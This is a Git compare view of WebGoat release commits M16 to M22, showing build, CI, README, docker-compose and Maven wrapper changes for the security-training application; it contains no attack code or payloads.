Compare commits
81 Commits
v8.0.0.M16
...
v8.0.0.M22
Author | SHA1 | Date | |
---|---|---|---|
7b8e3cdb52 | |||
9be4361afc | |||
b0e3a06b50 | |||
9170dcb87f | |||
dc5f9880af | |||
ed490a5ecf | |||
81d6e12ae1 | |||
c3ee0b7662 | |||
959a3c6420 | |||
3fa10c4b10 | |||
ec225558b9 | |||
dd1009bc54 | |||
bf45a0a8e5 | |||
f81a6852db | |||
6699456ee1 | |||
ecbbb5258e | |||
1520c7571f | |||
5921a06747 | |||
b6e4995d11 | |||
a2f28460c0 | |||
0797c3e2bf | |||
f9a4061604 | |||
580e50f558 | |||
3d58049af6 | |||
bca8b3c650 | |||
1252e3dc21 | |||
63a50df7a1 | |||
f9e552f1cd | |||
2233550fe1 | |||
cb18295f9f | |||
651698d96c | |||
4d7d0058c3 | |||
e3fba396de | |||
3536fd0b6d | |||
bc84e8f207 | |||
14dbd47675 | |||
898dd90c6f | |||
ac12a009e4 | |||
699b1bfd89 | |||
ad77a7ab24 | |||
b7278590f5 | |||
9dd93d88d9 | |||
4c767cb977 | |||
12123ef13b | |||
c7da546249 | |||
a41ff0083c | |||
701a99cf8f | |||
844808bfa7 | |||
81aac93dfe | |||
e5ec2c1ee0 | |||
b0fbeaff2c | |||
b47bb96534 | |||
3b9b695ef1 | |||
1d2575a211 | |||
56fc983414 | |||
268adbcf7e | |||
f383454440 | |||
bae3e75ae2 | |||
a7b82985d4 | |||
3d282e163c | |||
7068c84c6a | |||
0030c7bdfb | |||
89f6a73275 | |||
cf0e4e40cf | |||
dfd51f8b54 | |||
5e8c610fbf | |||
71514fc39b | |||
1734170e9e | |||
c89afe6334 | |||
9af0054b5b | |||
26aa72e721 | |||
c510bd9bf1 | |||
6bf853d953 | |||
e96ab488ff | |||
31f7ea6985 | |||
186f24f1df | |||
089dd56a15 | |||
6cfefba0ee | |||
20e45da8ae | |||
e34faa13d6 | |||
927bbad488 |
9
.gitignore
vendored
9
.gitignore
vendored
@ -44,5 +44,10 @@ webgoat-server/mongo-data/*
|
|||||||
webgoat-lessons/vulnerable-components/dependency-reduced-pom.xml
|
webgoat-lessons/vulnerable-components/dependency-reduced-pom.xml
|
||||||
**/.sts4-cache/*
|
**/.sts4-cache/*
|
||||||
**/.vscode/*
|
**/.vscode/*
|
||||||
|
**/.factorypath
|
||||||
/.sonatype
|
/.sonatype
|
||||||
|
**/bin/*
|
||||||
|
webgoat.lck
|
||||||
|
webgoat.log
|
||||||
|
webgoat.properties
|
||||||
|
webgoat.script
|
1
.mvn/wrapper/maven-wrapper.properties
vendored
Normal file
1
.mvn/wrapper/maven-wrapper.properties
vendored
Normal file
@ -0,0 +1 @@
|
|||||||
|
distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.5.4/apache-maven-3.5.4-bin.zip
|
@ -2,7 +2,7 @@ services:
|
|||||||
- docker
|
- docker
|
||||||
language: java
|
language: java
|
||||||
jdk:
|
jdk:
|
||||||
- oraclejdk8
|
- openjdk11
|
||||||
install: "/bin/true"
|
install: "/bin/true"
|
||||||
script:
|
script:
|
||||||
- export BRANCH=$(if [ "$TRAVIS_PULL_REQUEST" == "false" ]; then echo $TRAVIS_BRANCH; else echo $TRAVIS_PULL_REQUEST_BRANCH; fi)
|
- export BRANCH=$(if [ "$TRAVIS_PULL_REQUEST" == "false" ]; then echo $TRAVIS_BRANCH; else echo $TRAVIS_PULL_REQUEST_BRANCH; fi)
|
||||||
@ -28,12 +28,6 @@ deploy:
|
|||||||
on:
|
on:
|
||||||
repo: WebGoat/WebGoat
|
repo: WebGoat/WebGoat
|
||||||
tags: true
|
tags: true
|
||||||
- provider: script
|
|
||||||
skip_cleanup: true
|
|
||||||
script: bash scripts/deploy-webgoat.sh
|
|
||||||
on:
|
|
||||||
repo: WebGoat/WebGoat
|
|
||||||
branch: develop
|
|
||||||
- provider: releases
|
- provider: releases
|
||||||
skip_cleanup: true
|
skip_cleanup: true
|
||||||
overwrite: true
|
overwrite: true
|
||||||
|
@ -12,18 +12,14 @@ At the moment we use Gitflow, for a release you create a new release branch and
|
|||||||
```
|
```
|
||||||
git checkout develop
|
git checkout develop
|
||||||
git flow release start <version>
|
git flow release start <version>
|
||||||
mvn versions:set <<version>
|
mvn versions:set <<version>
|
||||||
git commit -am "New release, updaing pom.xml"
|
git commit -am "New release, updating pom.xml"
|
||||||
git flow release publish
|
git flow release publish
|
||||||
|
git push --tags
|
||||||
```
|
```
|
||||||
|
|
||||||
Now we can make a new release, be sure you committed all your changes.
|
Now Travis takes over and will create the release in Github and on Docker Hub.
|
||||||
|
|
||||||
```
|
NOTE: the `mvn versions:set` command above is just there to make sure the master branch contains the latest version
|
||||||
git tag v8.0.0.M15
|
|
||||||
git push origin v8.0.0.M15
|
|
||||||
```
|
|
||||||
|
|
||||||
Now Travis takes over and will create the release in Github and on Docker Hub.
|
|
||||||
|
|
||||||
|
|
||||||
|
55
README.MD
55
README.MD
@ -34,55 +34,42 @@ first thing that all hackers claim.*
|
|||||||
Download the latest WebGoat release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases)
|
Download the latest WebGoat release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases)
|
||||||
|
|
||||||
```Shell
|
```Shell
|
||||||
java -jar webgoat-server-<<version>>.jar [--server.port=8080] [--server.address=localhost]
|
java -jar webgoat-server-8.0.0.VERSION.jar [--server.port=8080] [--server.address=localhost]
|
||||||
```
|
```
|
||||||
|
|
||||||
By default WebGoat starts on port 8080 with `--server.port` you can specify a different port. With `server.address` you
|
By default WebGoat starts on port 8080 with `--server.port` you can specify a different port. With `server.address` you
|
||||||
can bind it to a different address (default localhost)
|
can bind it to a different address (default localhost)
|
||||||
|
|
||||||
|
If you use Java 9 or higher you need to run WebGoat as follows:
|
||||||
|
|
||||||
|
```Shell
|
||||||
|
java --add-modules java.xml.bind -jar webgoat-server-8.0.0.VERSION.jar
|
||||||
|
```
|
||||||
|
|
||||||
## 2. Run using Docker
|
## 2. Run using Docker
|
||||||
|
|
||||||
From time to time we publish a new development preview of WebGoat 8 on Docker HUB, you can download this version
|
Every release is also published on [DockerHub]((https://hub.docker.com/r/webgoat/webgoat-8.0/)).
|
||||||
[https://hub.docker.com/r/webgoat/webgoat-8.0/](https://hub.docker.com/r/webgoat/webgoat-8.0/).
|
|
||||||
First install Docker, then open a command shell/window and type:
|
|
||||||
|
|
||||||
```Shell
|
### Using docker-compose
|
||||||
docker pull webgoat/webgoat-8.0
|
|
||||||
docker run -p 8080:8080 -it webgoat/webgoat-8.0 /home/webgoat/start.sh
|
The easiest way to start WebGoat as a Docker container is to use the `docker-compose.yml` [file](https://raw.githubusercontent.com/WebGoat/WebGoat/develop/docker-compose.yml)
|
||||||
|
from our Github repository. This will start both containers and it also takes care of setting up the
|
||||||
|
connection between WebGoat and WebWolf.
|
||||||
|
|
||||||
|
```shell
|
||||||
|
curl https://raw.githubusercontent.com/WebGoat/WebGoat/develop/docker-compose.yml | docker-compose -f - up
|
||||||
```
|
```
|
||||||
|
|
||||||
If you want to keep the database between Docker sessions you need to map the WebGoat data directory to a
|
**Important**: the current directory on your host will be mapped into the container for keeping state.
|
||||||
folder on the host system as follows:
|
|
||||||
|
|
||||||
```Shell
|
|
||||||
docker run -p 8080:8080 -it -v /tmp/webgoat-data:/home/webgoat/.webgoat-${VERSION} webgoat/webgoat-8.0 /home/webgoat/start.sh
|
|
||||||
```
|
|
||||||
|
|
||||||
where `${VERSION}` is for example `v8.0.0.M14`. The data will now be stored in `/tmp/webgoat-data` on your host system.
|
|
||||||
|
|
||||||
Wait for the Docker container to start, and run `docker ps` to verify it's running.
|
|
||||||
|
|
||||||
- If you are using `docker-machine`, verify the machine IP using `docker-machine env`
|
|
||||||
- If you are using `boot2docker` on OSX, verify the IP by running `docker network inspect bridge`
|
|
||||||
- Otherwise, the host will be bound to localhost
|
|
||||||
|
|
||||||
Once you have the IP and port, you'll want to navigate to the `/WebGoat` path in the URL. For example:
|
|
||||||
|
|
||||||
```
|
|
||||||
http://192.168.99.100:8080/WebGoat
|
|
||||||
```
|
|
||||||
|
|
||||||
Here you'll be able to register a new user and get started.
|
|
||||||
|
|
||||||
_Please note: this version may not be completely in sync with the develop branch._
|
|
||||||
|
|
||||||
|
Using the `docker-compose` file will simplify getting WebGoat and WebWolf up and running.
|
||||||
|
|
||||||
|
|
||||||
## 3. Run from the sources
|
## 3. Run from the sources
|
||||||
|
|
||||||
### Prerequisites:
|
### Prerequisites:
|
||||||
|
|
||||||
* Java 8
|
* Java 11
|
||||||
* Maven > 3.2.1
|
* Maven > 3.2.1
|
||||||
* Your favorite IDE
|
* Your favorite IDE
|
||||||
* Git, or Git support in your IDE
|
* Git, or Git support in your IDE
|
||||||
@ -117,7 +104,7 @@ server.address=x.x.x.x
|
|||||||
|
|
||||||
# Vagrant
|
# Vagrant
|
||||||
|
|
||||||
We supply a complete development environment using Vagrant, to run WebGoat with Vagrant you must first have Vagrant and Virtualbox installed.
|
We supply a complete environment using Vagrant, to run WebGoat with Vagrant you must first have Vagrant and Virtualbox installed.
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
$ cd WebGoat/webgoat-images/vagrant-training
|
$ cd WebGoat/webgoat-images/vagrant-training
|
||||||
@ -125,7 +112,7 @@ We supply a complete development environment using Vagrant, to run WebGoat with
|
|||||||
```
|
```
|
||||||
|
|
||||||
Once the provisioning is complete login to the Virtualbox with username vagrant and password vagrant.
|
Once the provisioning is complete login to the Virtualbox with username vagrant and password vagrant.
|
||||||
The source code will be available in the home directory.
|
WebGoat and WebWolf will automatically start when you login to this image.
|
||||||
|
|
||||||
|
|
||||||
# Building a new Docker image
|
# Building a new Docker image
|
||||||
|
13
docker-compose-local.yml
Normal file
13
docker-compose-local.yml
Normal file
@ -0,0 +1,13 @@
|
|||||||
|
version: '2.1'
|
||||||
|
|
||||||
|
services:
|
||||||
|
webgoat:
|
||||||
|
image: webgoat/webgoat-v8.0.0.snapshot
|
||||||
|
extends:
|
||||||
|
file: docker-compose.yml
|
||||||
|
service: webgoat
|
||||||
|
webwolf:
|
||||||
|
extends:
|
||||||
|
file: docker-compose.yml
|
||||||
|
service: webwolf
|
||||||
|
image: webgoat/webwolf-v8.0.0.snapshot
|
@ -12,6 +12,8 @@ services:
|
|||||||
- spring.datasource.password=webgoat
|
- spring.datasource.password=webgoat
|
||||||
- spring.datasource.driver-class-name=org.postgresql.Driver
|
- spring.datasource.driver-class-name=org.postgresql.Driver
|
||||||
- spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.PostgreSQL94Dialect
|
- spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.PostgreSQL94Dialect
|
||||||
|
- webgoat.server.directory=/home/webgoat/.webgoat/
|
||||||
|
- webgoat.user.directory=/home/webgoat/.webgoat/
|
||||||
ports:
|
ports:
|
||||||
- "8080:8080"
|
- "8080:8080"
|
||||||
webwolf:
|
webwolf:
|
||||||
@ -24,9 +26,11 @@ services:
|
|||||||
- spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.PostgreSQL94Dialect
|
- spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.PostgreSQL94Dialect
|
||||||
ports:
|
ports:
|
||||||
- "9090:9090"
|
- "9090:9090"
|
||||||
db:
|
webgoat_db:
|
||||||
container_name: webgoat_db
|
image: postgres:9.4
|
||||||
image: postgres:latest
|
# Uncomment to store the state of the database on the host.
|
||||||
|
# volumes:
|
||||||
|
# - ./database:/var/lib/postgresql
|
||||||
environment:
|
environment:
|
||||||
- POSTGRES_PASSWORD=webgoat
|
- POSTGRES_PASSWORD=webgoat
|
||||||
- POSTGRES_USER=webgoat
|
- POSTGRES_USER=webgoat
|
||||||
|
@ -6,24 +6,13 @@ services:
|
|||||||
environment:
|
environment:
|
||||||
- WEBWOLF_HOST=webwolf
|
- WEBWOLF_HOST=webwolf
|
||||||
- WEBWOLF_PORT=9090
|
- WEBWOLF_PORT=9090
|
||||||
- spring.datasource.url=jdbc:hsqldb:hsql://webgoat_db:9001/webgoat
|
|
||||||
ports:
|
ports:
|
||||||
- "8080:8080"
|
- "8080:8080"
|
||||||
depends_on:
|
- "9001:9001"
|
||||||
- db
|
volumes:
|
||||||
|
- .:/home/webgoat/.webgoat
|
||||||
webwolf:
|
webwolf:
|
||||||
image: webgoat/webwolf
|
image: webgoat/webwolf
|
||||||
environment:
|
|
||||||
- spring.datasource.url=jdbc:hsqldb:hsql://webgoat_db:9001/webgoat
|
|
||||||
ports:
|
ports:
|
||||||
- "9090:9090"
|
- "9090:9090"
|
||||||
depends_on:
|
command: --spring.datasource.url=jdbc:hsqldb:hsql://webgoat:9001/webgoat --server.address=0.0.0.0
|
||||||
- db
|
|
||||||
db:
|
|
||||||
image: blacklabelops/hsqldb
|
|
||||||
container_name: webgoat_db
|
|
||||||
environment:
|
|
||||||
- HSQLDB_TRACE=false
|
|
||||||
- HSQLDB_SILENT=true
|
|
||||||
- HSQLDB_DATABASE_NAME=webgoat
|
|
||||||
- HSQLDB_DATABASE_ALIAS=webgoat
|
|
286
mvnw
vendored
Executable file
286
mvnw
vendored
Executable file
@ -0,0 +1,286 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
# ----------------------------------------------------------------------------
|
||||||
|
# Licensed to the Apache Software Foundation (ASF) under one
|
||||||
|
# or more contributor license agreements. See the NOTICE file
|
||||||
|
# distributed with this work for additional information
|
||||||
|
# regarding copyright ownership. The ASF licenses this file
|
||||||
|
# to you under the Apache License, Version 2.0 (the
|
||||||
|
# "License"); you may not use this file except in compliance
|
||||||
|
# with the License. You may obtain a copy of the License at
|
||||||
|
#
|
||||||
|
# http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
#
|
||||||
|
# Unless required by applicable law or agreed to in writing,
|
||||||
|
# software distributed under the License is distributed on an
|
||||||
|
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
|
||||||
|
# KIND, either express or implied. See the License for the
|
||||||
|
# specific language governing permissions and limitations
|
||||||
|
# under the License.
|
||||||
|
# ----------------------------------------------------------------------------
|
||||||
|
|
||||||
|
# ----------------------------------------------------------------------------
|
||||||
|
# Maven2 Start Up Batch script
|
||||||
|
#
|
||||||
|
# Required ENV vars:
|
||||||
|
# ------------------
|
||||||
|
# JAVA_HOME - location of a JDK home dir
|
||||||
|
#
|
||||||
|
# Optional ENV vars
|
||||||
|
# -----------------
|
||||||
|
# M2_HOME - location of maven2's installed home dir
|
||||||
|
# MAVEN_OPTS - parameters passed to the Java VM when running Maven
|
||||||
|
# e.g. to debug Maven itself, use
|
||||||
|
# set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000
|
||||||
|
# MAVEN_SKIP_RC - flag to disable loading of mavenrc files
|
||||||
|
# ----------------------------------------------------------------------------
|
||||||
|
|
||||||
|
if [ -z "$MAVEN_SKIP_RC" ] ; then
|
||||||
|
|
||||||
|
if [ -f /etc/mavenrc ] ; then
|
||||||
|
. /etc/mavenrc
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ -f "$HOME/.mavenrc" ] ; then
|
||||||
|
. "$HOME/.mavenrc"
|
||||||
|
fi
|
||||||
|
|
||||||
|
fi
|
||||||
|
|
||||||
|
# OS specific support. $var _must_ be set to either true or false.
|
||||||
|
cygwin=false;
|
||||||
|
darwin=false;
|
||||||
|
mingw=false
|
||||||
|
case "`uname`" in
|
||||||
|
CYGWIN*) cygwin=true ;;
|
||||||
|
MINGW*) mingw=true;;
|
||||||
|
Darwin*) darwin=true
|
||||||
|
# Use /usr/libexec/java_home if available, otherwise fall back to /Library/Java/Home
|
||||||
|
# See https://developer.apple.com/library/mac/qa/qa1170/_index.html
|
||||||
|
if [ -z "$JAVA_HOME" ]; then
|
||||||
|
if [ -x "/usr/libexec/java_home" ]; then
|
||||||
|
export JAVA_HOME="`/usr/libexec/java_home`"
|
||||||
|
else
|
||||||
|
export JAVA_HOME="/Library/Java/Home"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
if [ -z "$JAVA_HOME" ] ; then
|
||||||
|
if [ -r /etc/gentoo-release ] ; then
|
||||||
|
JAVA_HOME=`java-config --jre-home`
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ -z "$M2_HOME" ] ; then
|
||||||
|
## resolve links - $0 may be a link to maven's home
|
||||||
|
PRG="$0"
|
||||||
|
|
||||||
|
# need this for relative symlinks
|
||||||
|
while [ -h "$PRG" ] ; do
|
||||||
|
ls=`ls -ld "$PRG"`
|
||||||
|
link=`expr "$ls" : '.*-> \(.*\)$'`
|
||||||
|
if expr "$link" : '/.*' > /dev/null; then
|
||||||
|
PRG="$link"
|
||||||
|
else
|
||||||
|
PRG="`dirname "$PRG"`/$link"
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
saveddir=`pwd`
|
||||||
|
|
||||||
|
M2_HOME=`dirname "$PRG"`/..
|
||||||
|
|
||||||
|
# make it fully qualified
|
||||||
|
M2_HOME=`cd "$M2_HOME" && pwd`
|
||||||
|
|
||||||
|
cd "$saveddir"
|
||||||
|
# echo Using m2 at $M2_HOME
|
||||||
|
fi
|
||||||
|
|
||||||
|
# For Cygwin, ensure paths are in UNIX format before anything is touched
|
||||||
|
if $cygwin ; then
|
||||||
|
[ -n "$M2_HOME" ] &&
|
||||||
|
M2_HOME=`cygpath --unix "$M2_HOME"`
|
||||||
|
[ -n "$JAVA_HOME" ] &&
|
||||||
|
JAVA_HOME=`cygpath --unix "$JAVA_HOME"`
|
||||||
|
[ -n "$CLASSPATH" ] &&
|
||||||
|
CLASSPATH=`cygpath --path --unix "$CLASSPATH"`
|
||||||
|
fi
|
||||||
|
|
||||||
|
# For Mingw, ensure paths are in UNIX format before anything is touched
|
||||||
|
if $mingw ; then
|
||||||
|
[ -n "$M2_HOME" ] &&
|
||||||
|
M2_HOME="`(cd "$M2_HOME"; pwd)`"
|
||||||
|
[ -n "$JAVA_HOME" ] &&
|
||||||
|
JAVA_HOME="`(cd "$JAVA_HOME"; pwd)`"
|
||||||
|
# TODO classpath?
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ -z "$JAVA_HOME" ]; then
|
||||||
|
javaExecutable="`which javac`"
|
||||||
|
if [ -n "$javaExecutable" ] && ! [ "`expr \"$javaExecutable\" : '\([^ ]*\)'`" = "no" ]; then
|
||||||
|
# readlink(1) is not available as standard on Solaris 10.
|
||||||
|
readLink=`which readlink`
|
||||||
|
if [ ! `expr "$readLink" : '\([^ ]*\)'` = "no" ]; then
|
||||||
|
if $darwin ; then
|
||||||
|
javaHome="`dirname \"$javaExecutable\"`"
|
||||||
|
javaExecutable="`cd \"$javaHome\" && pwd -P`/javac"
|
||||||
|
else
|
||||||
|
javaExecutable="`readlink -f \"$javaExecutable\"`"
|
||||||
|
fi
|
||||||
|
javaHome="`dirname \"$javaExecutable\"`"
|
||||||
|
javaHome=`expr "$javaHome" : '\(.*\)/bin'`
|
||||||
|
JAVA_HOME="$javaHome"
|
||||||
|
export JAVA_HOME
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ -z "$JAVACMD" ] ; then
|
||||||
|
if [ -n "$JAVA_HOME" ] ; then
|
||||||
|
if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
|
||||||
|
# IBM's JDK on AIX uses strange locations for the executables
|
||||||
|
JAVACMD="$JAVA_HOME/jre/sh/java"
|
||||||
|
else
|
||||||
|
JAVACMD="$JAVA_HOME/bin/java"
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
JAVACMD="`which java`"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ ! -x "$JAVACMD" ] ; then
|
||||||
|
echo "Error: JAVA_HOME is not defined correctly." >&2
|
||||||
|
echo " We cannot execute $JAVACMD" >&2
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ -z "$JAVA_HOME" ] ; then
|
||||||
|
echo "Warning: JAVA_HOME environment variable is not set."
|
||||||
|
fi
|
||||||
|
|
||||||
|
CLASSWORLDS_LAUNCHER=org.codehaus.plexus.classworlds.launcher.Launcher
|
||||||
|
|
||||||
|
# traverses directory structure from process work directory to filesystem root
|
||||||
|
# first directory with .mvn subdirectory is considered project base directory
|
||||||
|
find_maven_basedir() {
|
||||||
|
|
||||||
|
if [ -z "$1" ]
|
||||||
|
then
|
||||||
|
echo "Path not specified to find_maven_basedir"
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
basedir="$1"
|
||||||
|
wdir="$1"
|
||||||
|
while [ "$wdir" != '/' ] ; do
|
||||||
|
if [ -d "$wdir"/.mvn ] ; then
|
||||||
|
basedir=$wdir
|
||||||
|
break
|
||||||
|
fi
|
||||||
|
# workaround for JBEAP-8937 (on Solaris 10/Sparc)
|
||||||
|
if [ -d "${wdir}" ]; then
|
||||||
|
wdir=`cd "$wdir/.."; pwd`
|
||||||
|
fi
|
||||||
|
# end of workaround
|
||||||
|
done
|
||||||
|
echo "${basedir}"
|
||||||
|
}
|
||||||
|
|
||||||
|
# concatenates all lines of a file
|
||||||
|
concat_lines() {
|
||||||
|
if [ -f "$1" ]; then
|
||||||
|
echo "$(tr -s '\n' ' ' < "$1")"
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
BASE_DIR=`find_maven_basedir "$(pwd)"`
|
||||||
|
if [ -z "$BASE_DIR" ]; then
|
||||||
|
exit 1;
|
||||||
|
fi
|
||||||
|
|
||||||
|
##########################################################################################
|
||||||
|
# Extension to allow automatically downloading the maven-wrapper.jar from Maven-central
|
||||||
|
# This allows using the maven wrapper in projects that prohibit checking in binary data.
|
||||||
|
##########################################################################################
|
||||||
|
if [ -r "$BASE_DIR/.mvn/wrapper/maven-wrapper.jar" ]; then
|
||||||
|
if [ "$MVNW_VERBOSE" = true ]; then
|
||||||
|
echo "Found .mvn/wrapper/maven-wrapper.jar"
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
if [ "$MVNW_VERBOSE" = true ]; then
|
||||||
|
echo "Couldn't find .mvn/wrapper/maven-wrapper.jar, downloading it ..."
|
||||||
|
fi
|
||||||
|
jarUrl="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.4.2/maven-wrapper-0.4.2.jar"
|
||||||
|
while IFS="=" read key value; do
|
||||||
|
case "$key" in (wrapperUrl) jarUrl="$value"; break ;;
|
||||||
|
esac
|
||||||
|
done < "$BASE_DIR/.mvn/wrapper/maven-wrapper.properties"
|
||||||
|
if [ "$MVNW_VERBOSE" = true ]; then
|
||||||
|
echo "Downloading from: $jarUrl"
|
||||||
|
fi
|
||||||
|
wrapperJarPath="$BASE_DIR/.mvn/wrapper/maven-wrapper.jar"
|
||||||
|
|
||||||
|
if command -v wget > /dev/null; then
|
||||||
|
if [ "$MVNW_VERBOSE" = true ]; then
|
||||||
|
echo "Found wget ... using wget"
|
||||||
|
fi
|
||||||
|
wget "$jarUrl" -O "$wrapperJarPath"
|
||||||
|
elif command -v curl > /dev/null; then
|
||||||
|
if [ "$MVNW_VERBOSE" = true ]; then
|
||||||
|
echo "Found curl ... using curl"
|
||||||
|
fi
|
||||||
|
curl -o "$wrapperJarPath" "$jarUrl"
|
||||||
|
else
|
||||||
|
if [ "$MVNW_VERBOSE" = true ]; then
|
||||||
|
echo "Falling back to using Java to download"
|
||||||
|
fi
|
||||||
|
javaClass="$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.java"
|
||||||
|
if [ -e "$javaClass" ]; then
|
||||||
|
if [ ! -e "$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class" ]; then
|
||||||
|
if [ "$MVNW_VERBOSE" = true ]; then
|
||||||
|
echo " - Compiling MavenWrapperDownloader.java ..."
|
||||||
|
fi
|
||||||
|
# Compiling the Java class
|
||||||
|
("$JAVA_HOME/bin/javac" "$javaClass")
|
||||||
|
fi
|
||||||
|
if [ -e "$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class" ]; then
|
||||||
|
# Running the downloader
|
||||||
|
if [ "$MVNW_VERBOSE" = true ]; then
|
||||||
|
echo " - Running MavenWrapperDownloader.java ..."
|
||||||
|
fi
|
||||||
|
("$JAVA_HOME/bin/java" -cp .mvn/wrapper MavenWrapperDownloader "$MAVEN_PROJECTBASEDIR")
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
##########################################################################################
|
||||||
|
# End of extension
|
||||||
|
##########################################################################################
|
||||||
|
|
||||||
|
export MAVEN_PROJECTBASEDIR=${MAVEN_BASEDIR:-"$BASE_DIR"}
|
||||||
|
if [ "$MVNW_VERBOSE" = true ]; then
|
||||||
|
echo $MAVEN_PROJECTBASEDIR
|
||||||
|
fi
|
||||||
|
MAVEN_OPTS="$(concat_lines "$MAVEN_PROJECTBASEDIR/.mvn/jvm.config") $MAVEN_OPTS"
|
||||||
|
|
||||||
|
# For Cygwin, switch paths to Windows format before running java
|
||||||
|
if $cygwin; then
|
||||||
|
[ -n "$M2_HOME" ] &&
|
||||||
|
M2_HOME=`cygpath --path --windows "$M2_HOME"`
|
||||||
|
[ -n "$JAVA_HOME" ] &&
|
||||||
|
JAVA_HOME=`cygpath --path --windows "$JAVA_HOME"`
|
||||||
|
[ -n "$CLASSPATH" ] &&
|
||||||
|
CLASSPATH=`cygpath --path --windows "$CLASSPATH"`
|
||||||
|
[ -n "$MAVEN_PROJECTBASEDIR" ] &&
|
||||||
|
MAVEN_PROJECTBASEDIR=`cygpath --path --windows "$MAVEN_PROJECTBASEDIR"`
|
||||||
|
fi
|
||||||
|
|
||||||
|
WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain
|
||||||
|
|
||||||
|
exec "$JAVACMD" \
|
||||||
|
$MAVEN_OPTS \
|
||||||
|
-classpath "$MAVEN_PROJECTBASEDIR/.mvn/wrapper/maven-wrapper.jar" \
|
||||||
|
"-Dmaven.home=${M2_HOME}" "-Dmaven.multiModuleProjectDirectory=${MAVEN_PROJECTBASEDIR}" \
|
||||||
|
${WRAPPER_LAUNCHER} $MAVEN_CONFIG "$@"
|
161
mvnw.cmd
vendored
Normal file
161
mvnw.cmd
vendored
Normal file
@ -0,0 +1,161 @@
|
|||||||
|
@REM ----------------------------------------------------------------------------
|
||||||
|
@REM Licensed to the Apache Software Foundation (ASF) under one
|
||||||
|
@REM or more contributor license agreements. See the NOTICE file
|
||||||
|
@REM distributed with this work for additional information
|
||||||
|
@REM regarding copyright ownership. The ASF licenses this file
|
||||||
|
@REM to you under the Apache License, Version 2.0 (the
|
||||||
|
@REM "License"); you may not use this file except in compliance
|
||||||
|
@REM with the License. You may obtain a copy of the License at
|
||||||
|
@REM
|
||||||
|
@REM http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
@REM
|
||||||
|
@REM Unless required by applicable law or agreed to in writing,
|
||||||
|
@REM software distributed under the License is distributed on an
|
||||||
|
@REM "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
|
||||||
|
@REM KIND, either express or implied. See the License for the
|
||||||
|
@REM specific language governing permissions and limitations
|
||||||
|
@REM under the License.
|
||||||
|
@REM ----------------------------------------------------------------------------
|
||||||
|
|
||||||
|
@REM ----------------------------------------------------------------------------
|
||||||
|
@REM Maven2 Start Up Batch script
|
||||||
|
@REM
|
||||||
|
@REM Required ENV vars:
|
||||||
|
@REM JAVA_HOME - location of a JDK home dir
|
||||||
|
@REM
|
||||||
|
@REM Optional ENV vars
|
||||||
|
@REM M2_HOME - location of maven2's installed home dir
|
||||||
|
@REM MAVEN_BATCH_ECHO - set to 'on' to enable the echoing of the batch commands
|
||||||
|
@REM MAVEN_BATCH_PAUSE - set to 'on' to wait for a key stroke before ending
|
||||||
|
@REM MAVEN_OPTS - parameters passed to the Java VM when running Maven
|
||||||
|
@REM e.g. to debug Maven itself, use
|
||||||
|
@REM set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000
|
||||||
|
@REM MAVEN_SKIP_RC - flag to disable loading of mavenrc files
|
||||||
|
@REM ----------------------------------------------------------------------------
|
||||||
|
|
||||||
|
@REM Begin all REM lines with '@' in case MAVEN_BATCH_ECHO is 'on'
|
||||||
|
@echo off
|
||||||
|
@REM set title of command window
|
||||||
|
title %0
|
||||||
|
@REM enable echoing my setting MAVEN_BATCH_ECHO to 'on'
|
||||||
|
@if "%MAVEN_BATCH_ECHO%" == "on" echo %MAVEN_BATCH_ECHO%
|
||||||
|
|
||||||
|
@REM set %HOME% to equivalent of $HOME
|
||||||
|
if "%HOME%" == "" (set "HOME=%HOMEDRIVE%%HOMEPATH%")
|
||||||
|
|
||||||
|
@REM Execute a user defined script before this one
|
||||||
|
if not "%MAVEN_SKIP_RC%" == "" goto skipRcPre
|
||||||
|
@REM check for pre script, once with legacy .bat ending and once with .cmd ending
|
||||||
|
if exist "%HOME%\mavenrc_pre.bat" call "%HOME%\mavenrc_pre.bat"
|
||||||
|
if exist "%HOME%\mavenrc_pre.cmd" call "%HOME%\mavenrc_pre.cmd"
|
||||||
|
:skipRcPre
|
||||||
|
|
||||||
|
@setlocal
|
||||||
|
|
||||||
|
set ERROR_CODE=0
|
||||||
|
|
||||||
|
@REM To isolate internal variables from possible post scripts, we use another setlocal
|
||||||
|
@setlocal
|
||||||
|
|
||||||
|
@REM ==== START VALIDATION ====
|
||||||
|
if not "%JAVA_HOME%" == "" goto OkJHome
|
